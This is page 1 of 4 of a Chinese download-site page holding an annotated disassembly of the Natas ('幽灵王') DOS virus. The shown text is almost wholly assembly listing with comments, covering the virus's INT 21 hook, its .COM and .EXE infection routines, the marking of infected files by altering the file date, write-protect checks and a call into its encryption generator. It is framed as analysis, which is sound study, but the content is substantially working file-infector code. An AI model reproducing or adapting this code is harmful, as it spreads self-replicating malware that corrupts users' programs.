⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 natas 幽灵王病毒的分析.htm

📁 1575病毒源程序分析
💻 HTM
📖 第 1 页 / 共 4 页
字号:
9E80:0779 7204           JB	077F 
9E80:077B 051800         ADD	AX,0018   ===>	;本字节在第一次读出时保存
9E80:077E F8             CLC	 
9E80:077F E8AD02         CALL	0A2F 		;保存返回 AX
9E80:0782 E9A1FE         JMP	0626 
;==========================================================================
9E80:0785 80FC40         CMP	AH,40		;INT 21 之写文件功能
9E80:0788 7402           JZ	078C 
9E80:078A EB52           JMP	07DE 
9E80:078C E81C02         CALL	09AB 		;取系统文件表项地址
9E80:078F 76F9           JBE	078A 
9E80:0791 C44511         LES	AX,[DI+11] 
9E80:0794 8CC3           MOV	BX,ES 		;BX:AX = 文件长
9E80:0796 2D1800         SUB	AX,0018 
9E80:0799 83DB00         SBB	BX,+00 
9E80:079C 874515         XCHG	AX,[DI+15] 	;当前指针 => 文件尾-0018
9E80:079F 875D17         XCHG	BX,[DI+17] 	;BX:AX = 当前指针
9E80:07A2 50             PUSH	AX 
9E80:07A3 53             PUSH	BX 
9E80:07A4 B80200         MOV	AX,0002 
9E80:07A7 874502         XCHG	AX,[DI+02] 	;设置为写打开
9E80:07AA 50             PUSH	AX 
9E80:07AB 1E             PUSH	DS 
9E80:07AC 0E             PUSH	CS 
9E80:07AD 1F             POP	DS 
9E80:07AE 07             POP	ES 
9E80:07AF E85902         CALL	0A0B 		;读出原文件头 => CS:1270
9E80:07B2 268F4502       POP	ES:[DI+02] 	;恢复打开方式
9E80:07B6 721B           JB	07D3 
9E80:07B8 26894515       MOV	ES:[DI+15],AX 	;当前指针 => 文件开始
9E80:07BC 26894517       MOV	ES:[DI+17],AX 
9E80:07C0 E84B02         CALL	0A0E 		;写文件头(恢复)
9E80:07C3 720E           JB	07D3 
9E80:07C5 06             PUSH	ES 
9E80:07C6 1F             POP	DS 
9E80:07C7 816D118812     SUB	Word Ptr [DI+11],1288 
9E80:07CC 194513         SBB	[DI+13],AX 	;文件长 - 4744
9E80:07CF 806D10C8       SUB	Byte Ptr [DI+10],C8 	;恢复日期
9E80:07D3 268F4517       POP	ES:[DI+17] 	;恢复文件指针
9E80:07D7 268F4515       POP	ES:[DI+15] 
9E80:07DB E9A500         JMP	0883 		;转原 INT 21
;=========================================================================
9E80:07DE 80FC3E         CMP	AH,3E		;关闭文件
9E80:07E1 740C           JZ	07EF 		;先复制文件句柄再传染
9E80:07E3 3D004B         CMP	AX,4B00 	;执行文件
9E80:07E6 7403           JZ	07EB 		;先打开文件再传染
9E80:07E8 E99800         JMP	0883 
9E80:07EB B8003D         MOV	AX,3D00 
9E80:07EE 3DB445         CMP	AX,45B4 
9E80:07F1 E8E501         CALL	09D9 		;将 INT 13 切换到 BIOS
9E80:07F4 E8CB02         CALL	0AC2 		;打开/复制文件
9E80:07F7 2EA3C30A       MOV	CS:[0AC3],AX 
9E80:07FB B80844         MOV	AX,4408 
9E80:07FE 99             CWD	 
9E80:07FF 727F           JB	0880
9E80:0801 E8A701         CALL	09AB		;取系统文件表项 
9E80:0804 7275           JB	087B 		;出错退出
9E80:0806 7573           JNZ	087B 		;已传染退出
9E80:0808 B33F           MOV	BL,3F
9E80:080A 225D05         AND	BL,[DI+05] 	;设备信息字
9E80:080D 8AD3           MOV	DL,BL 		;DL = 驱动器号 (A=0,B=1...)
9E80:080F 43             INC	BX 		;BX = 驱动器号 (A=1,B=2...)
9E80:0810 E8B202         CALL	0AC5 		;DOS 4408 功能
9E80:0813 B90100         MOV	CX,0001 	;检测块设备是否可移动
9E80:0816 0E             PUSH	CS 
9E80:0817 07             POP	ES 
9E80:0818 7205           JB	081F 
9E80:081A 48             DEC	AX 
9E80:081B 7418           JZ	0835 		;固定设备转 0835
9E80:081D EB05           JMP	0824 		;非可移动设备退出
9E80:081F 80FA01         CMP	DL,01 
9E80:0822 7711           JA	0835 		;C 盘以上不用检测
9E80:0824 B80102         MOV	AX,0201 	;如果是软盘,检测写保护
9E80:0827 BB1314         MOV	BX,1413 	;先读出
9E80:082A CD13           INT	13 
9E80:082C 724D           JB	087B 
9E80:082E B80103         MOV	AX,0301 	;再写入
9E80:0831 CD13           INT	13 
9E80:0833 7246           JB	087B 		;无法写入退出(写保护)
9E80:0835 41             INC	CX 
9E80:0836 874D02         XCHG	CX,[DI+02] 	;设置文件打开方式为写打开
9E80:0839 51             PUSH	CX 		;保存原打开方式
9E80:083A 33C0           XOR	AX,AX 
9E80:083C 866504         XCHG	AH,[DI+04] 	;文件属性
9E80:083F F6C404         TEST	AH,04 		;系统属性退出
9E80:0842 50             PUSH	AX 		;保存文件属性
9E80:0843 7530           JNZ	0875 
9E80:0845 98             CBW	 
9E80:0846 99             CWD	 		;AX 清零
9E80:0847 874515         XCHG	AX,[DI+15] 	;移动文件指针到文件头
9E80:084A 875517         XCHG	DX,[DI+17] 
9E80:084D 50             PUSH	AX 		;保存原文件指针
9E80:084E 52             PUSH	DX 
9E80:084F BDBDB0         MOV	BP,B0BD 	;扩展名不为 "COM"
9E80:0852 036D28         ADD	BP,[DI+28] 	;转 085D
9E80:0855 7506           JNZ	085D 
9E80:0857 BDB1B2         MOV	BP,B2B1 
9E80:085A 036D29         ADD	BP,[DI+29] 
9E80:085D E86900         CALL	08C9            ;执行传染子程序
9E80:0860 9C             PUSHF	 
9E80:0861 E84701         CALL	09AB 		;取系统文件表项
9E80:0864 9D             POPF	 
9E80:0865 7204           JB	086B 
9E80:0867 804510C8       ADD	Byte Ptr [DI+10],C8 	;文件年份+100
9E80:086B 804D0640       OR	Byte Ptr [DI+06],40	;关闭时不设置时间
9E80:086F 8F4517         POP	[DI+17] 	;恢复系统文件表项
9E80:0872 8F4515         POP	[DI+15] 	;中相应内容
9E80:0875 8F4503         POP	[DI+03] 
9E80:0878 8F4502         POP	[DI+02] 
9E80:087B B43E           MOV	AH,3E		;关闭文件
9E80:087D E84202         CALL	0AC2 
9E80:0880 E85601         CALL	09D9 		;将 INT 13 恢复到 DOS
9E80:0883 E89801         CALL	0A1E 		;恢复 INT 24 及键盘状态
9E80:0886 0E             PUSH	CS 
9E80:0887 1F             POP	DS 
9E80:0888 B001           MOV	AL,01 
9E80:088A BFE313         MOV	DI,13E3 
9E80:088D 38452E         CMP	[DI+2E],AL	;??????
9E80:0890 7532           JNZ	08C4 		;放弃重新截取 INT 21 ????
9E80:0892 E82EF8         CALL	00C3		;取中断向量 01 
9E80:0895 891D           MOV	[DI],BX 
9E80:0897 8C4502         MOV	[DI+02],ES 	;保存于 13E3
9E80:089A C6452F05       MOV	Byte Ptr [DI+2F],05 
9E80:089E C60697023F     MOV	Byte Ptr [0297],3F
9E80:08A3 BA7702         MOV	DX,0277 	;设置中断向量 01
9E80:08A6 E82BF8         CALL	00D4 		;到 CS:0277
9E80:08A9 E856F8         CALL	0102 		;POPA
9E80:08AC 56             PUSH	SI 
9E80:08AD 9C             PUSHF	 
9E80:08AE 5E             POP	SI 		;标志 FLAG => SI
9E80:08AF E8BEF9         CALL	0270 		;启动 INT 01 (重新截取INT 21用)
9E80:08B2 5E             POP	SI 		;本句转 INT 01 (0277) 执行
9E80:08B3 FA             CLI	 
9E80:08B4 2E8E16D512     MOV	SS,CS:[12D5] 	;恢复原堆栈
9E80:08B9 2E8B26D712     MOV	SP,CS:[12D7] 
9E80:08BE FB             STI	 		;转原 INT 21
9E80:08BF 2EFF2EFB13     JMP	FAR CS:[13FB] 
;=========================================================================
9E80:08C4 E83BF8         CALL	0102 		;POPA
9E80:08C7 EBEA           JMP	08B3 		;
;=========================================================================
9E80:08C9 0E             PUSH	CS 		;传染子程序
9E80:08CA 1F             POP	DS 
9E80:08CB E83D01         CALL	0A0B 		;读文件头 18H => 1270
9E80:08CE 7244           JB	0914 
9E80:08D0 8BF2           MOV	SI,DX 
9E80:08D2 BF8812         MOV	DI,1288 	;文件头 18H 移动到 1288
9E80:08D5 FC             CLD	 		;准备修改
9E80:08D6 F3             REPZ	
9E80:08D7 A4             MOVSB	 
9E80:08D8 E8D000         CALL	09AB 		;取系统文件表项
9E80:08DB C44511         LES	AX,[DI+11] 	;文件大小 DX:AX
9E80:08DE 8CC2           MOV	DX,ES 
9E80:08E0 894515         MOV	[DI+15],AX 	;移动文件指针 => 文件尾
9E80:08E3 895517         MOV	[DI+17],DX 
9E80:08E6 0E             PUSH	CS 
9E80:08E7 0E             PUSH	CS 
9E80:08E8 07             POP	ES 
9E80:08E9 1F             POP	DS 
9E80:08EA 8B0C           MOV	CX,[SI] 	;文件头 2 字节
9E80:08EC 81F95A4D       CMP	CX,4D5A 
9E80:08F0 7424           JZ	0916 
9E80:08F2 81F94D5A       CMP	CX,5A4D 
9E80:08F6 741E           JZ	0916 		;.EXE 文件转 0916
;==========================================================================
9E80:08F8 0BD5           OR	DX,BP 		;传染 .COM 文件
9E80:08FA 7518           JNZ	0914 
9E80:08FC 3D14ED         CMP	AX,ED14 	; > 60692 字节不传染
9E80:08FF 7713           JA	0914 
9E80:0901 3DE803         CMP	AX,03E8 	; < 1000 字节不传染
9E80:0904 720E           JB	0914 
9E80:0906 C604E9         MOV	Byte Ptr [SI],E9 	;文件头改为 JMP XXXX
9E80:0909 FEC4           INC	AH 		;ADD AX,100H
9E80:090B 50             PUSH	AX 		;.COM 文件入口 11DA
9E80:090C 05D710         ADD	AX,10D7 	;(0100+0003+10D7)
9E80:090F 894401         MOV	[SI+01],AX 
9E80:0912 EB7B           JMP	098F 
9E80:0914 F9             STC	 
9E80:0915 C3             RET	 
;===========================================================================
9E80:0916 837C0CFF       CMP	Word Ptr [SI+0C],-01 	;传染 .EXE 文件
9E80:091A 75F8           JNZ	0914 		;要分配内存不为 -1 返回
9E80:091C 8BE8           MOV	BP,AX 
9E80:091E 8BFA           MOV	DI,DX 		;DI:BP = 文件长
9E80:0920 B90002         MOV	CX,0200 
9E80:0923 F7F1           DIV	CX 
9E80:0925 0BD2           OR	DX,DX 
9E80:0927 7401           JZ	092A 
9E80:0929 40             INC	AX 
9E80:092A 2B4404         SUB	AX,[SI+04] 
9E80:092D 75E5           JNZ	0914 
9E80:092F 2B5402         SUB	DX,[SI+02] 	;文件有覆盖部分不传染
9E80:0932 75E0           JNZ	0914 
9E80:0934 B88812         MOV	AX,1288 
9E80:0937 03C5           ADD	AX,BP 
9E80:0939 13D7           ADC	DX,DI 		;DX:AX = 新文件长
9E80:093B F7F1           DIV	CX 
9E80:093D 0BD2           OR	DX,DX 
9E80:093F 7401           JZ	0942 
9E80:0941 40             INC	AX 
9E80:0942 894404         MOV	[SI+04],AX 
9E80:0945 895402         MOV	[SI+02],DX 	;新映象长度
9E80:0948 BB90E9         MOV	BX,E990 
9E80:094B 33C9           XOR	CX,CX 
9E80:094D 3BEB           CMP	BP,BX 
9E80:094F 7205           JB	0956 
9E80:0951 83ED10         SUB	BP,+10 
9E80:0954 E2F7           LOOP	094D 
9E80:0956 83FF0F         CMP	DI,+0F 		;文件长 > 640K 不传染
9E80:0959 77B9           JA	0914 
9E80:095B 91             XCHG	AX,CX 		;文件长低位 > E990 部分
9E80:095C B104           MOV	CL,04 		;转移到 DI
9E80:095E D3CF           ROR	DI,CL 		;
9E80:0960 0BC0           OR	AX,AX 
9E80:0962 7404           JZ	0968 
9E80:0964 2BF8           SUB	DI,AX 		;DIx10 + BP = 文件长
9E80:0966 73AC           JNB	0914 
9E80:0968 2B7C08         SUB	DI,[SI+08] 	;减去文件头长
9E80:096B 55             PUSH	BP 
9E80:096C 81C5DA11       ADD	BP,11DA 	;新入口 : 11DA
9E80:0970 896C14         MOV	[SI+14],BP 	;新 CS:IP
9E80:0973 897C16         MOV	[SI+16],DI 
9E80:0976 81C50002       ADD	BP,0200 	;新 CS:IP+0200
9E80:097A 896C10         MOV	[SI+10],BP 	;为新堆栈
9E80:097D 897C0E         MOV	[SI+0E],DI 
9E80:0980 BD0080         MOV	BP,8000 
9E80:0983 D3FB           SAR	BX,CL 		;BX = E990,CL=4
9E80:0985 8B440A         MOV	AX,[SI+0A] 	;分配最小内存
9E80:0988 2BC3           SUB	AX,BX 
9E80:098A 7303           JNB	098F 
9E80:098C 89440A         MOV	[SI+0A],AX 
;=======================================================================
9E80:098F 58             POP	AX 		;.COM 由此入
9E80:0990 E83F01         CALL	0AD2 		;产生加密代码
9E80:0993 55             PUSH	BP 
9E80:0994 9D             POPF	 
9E80:0995 7213           JB	09AA 
9E80:0997 E81100         CALL	09AB 		;取系统文件表项
9E80:099A 894D15         MOV	[DI+15],CX 	;文件指针移动到文件头
9E80:099D 894D17         MOV	[DI+17],CX 
9E80:09A0 B440           MOV	AH,40
9E80:09A2 BA8812         MOV	DX,1288 
9E80:09A5 0E             PUSH	CS 
9E80:09A6 1F             POP	DS 
9E80:09A7 E86900         CALL	0A13 		;写新文件头 18H 字节
9E80:09AA C3             RET	 </FONT></PRE><PRE><FONT color=#008080 size=2>;=======================================================================
;取系统文件表项于 ES:DI
;返回 CY 不传染, NZ = 已传染
9E80:09AB 50             PUSH	AX 
9E80:09AC 53             PUSH	BX 
9E80:09AD B82012         MOV	AX,1220 
9E80:09B0 2E8B1EC30A     MOV	BX,CS:[0AC3] 
9E80:09B5 CD2F           INT	2F 		;取文件表地址
9E80:09B7 721D           JB	09D6 
9E80:09B9 B81612         MOV	AX,1216 
9E80:09BC 268A1D         MOV	BL,ES:[DI] 
9E80:09BF 80FBFF         CMP	BL,FF 
9E80:09C2 F5             CMC	 
9E80:09C3 7411           JZ	09D6 
9E80:09C5 CD2F           INT	2F 		;取系统文件表项
9E80:09C7 720D           JB	09D6 
9E80:09C9 06             PUSH	ES 
9E80:09CA 1F             POP	DS 
9E80:09CB F6450580       TEST	Byte Ptr [DI+05],80 
9E80:09CF F5             CMC	 		;先设置为 CY
9E80:09D0 7504           JNZ	09D6 		;远程文件不传染
9E80:09D2 F6451080       TEST	Byte Ptr [DI+10],80 
9E80:09D6 5B             POP	BX 		;判是否已传染
9E80:09D7 58             POP	AX 		;没有传染返回 NZ,NC
9E80:09D8 C3             RET	 
;==========================================================================
;切换 INT 13 / INT 14 / INT 15 / INT 40
;(DOS INT 与 BIOS 初始 INT 之间)
9E80:09D9 50             PUSH	AX 
9E80:09DA 53             PUSH	BX 
9E80:09DB 52             PUSH	DX 
9E80:09DC 1E             PUSH	DS 
9E80:09DD B013           MOV	AL,13 
9E80:09DF BFEB13         MOV	DI,13EB 
9E80:09E2 0E             PUSH	CS 
9E80:09E3 1F             POP	DS 
9E80:09E4 E8DCF6         CALL	00C3 		;取中断向量
9E80:09E7 8CC2           MOV	DX,ES 		;于 ES:BX
9E80:09E9 871D           XCHG	BX,[DI] 	;保存于 13EB
9E80:09EB FC             CLD	 
9E80:09EC AF             SCASW	 
9E80:09ED 87D3           XCHG	DX,BX 
9E80:09EF 871D           XCHG	BX,[DI] 
9E80:09F1 AF             SCASW	 
9E80:09F2 8EDB           MOV	DS,BX 
9E80:09F4 E8DDF6         CALL	00D4 		;设置 BIOS 初始值
9E80:09F7 3C15           CMP	AL,15 
9E80:09F9 B015           MOV	AL,15 
9E80:09FB 7305           JNB	0A02 
9E80:09FD 83C704         ADD	DI,+04 
9E80:0A00 EBE0           JMP	09E2 
9E80:0A02 B040           MOV	AL,40
9E80:0A04 74DC           JZ	09E2 
9E80:0A06 1F             POP	DS 
9E80:0A07 5A             POP	DX 
9E80:0A08 5B             POP	BX 
9E80:0A09 58             POP	AX 
9E80:0A0A C3             RET	 
;==========================================================================
;0A0B  读文件头 18 字节到 1270
;0A0E  写文件头 18 字节
9E80:0A0B B43F           MOV	AH,3F
9E80:0A0D 3DB440         CMP	AX,40B4 
9E80:0A10 BA7012         MOV	DX,1270 
9E80:0A13 B91800         MOV	CX,0018 
9E80:0A16 E8A900         CALL	0AC2 
9E80:0A19 7202           JB	0A1D 
9E80:0A1B 2BC1           SUB	AX,CX 
9E80:0A1D C3             RET	 
;=======================</FONT></PRE></TR></TBODY></TABLE></CENTER></DIV></BODY></HTML>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -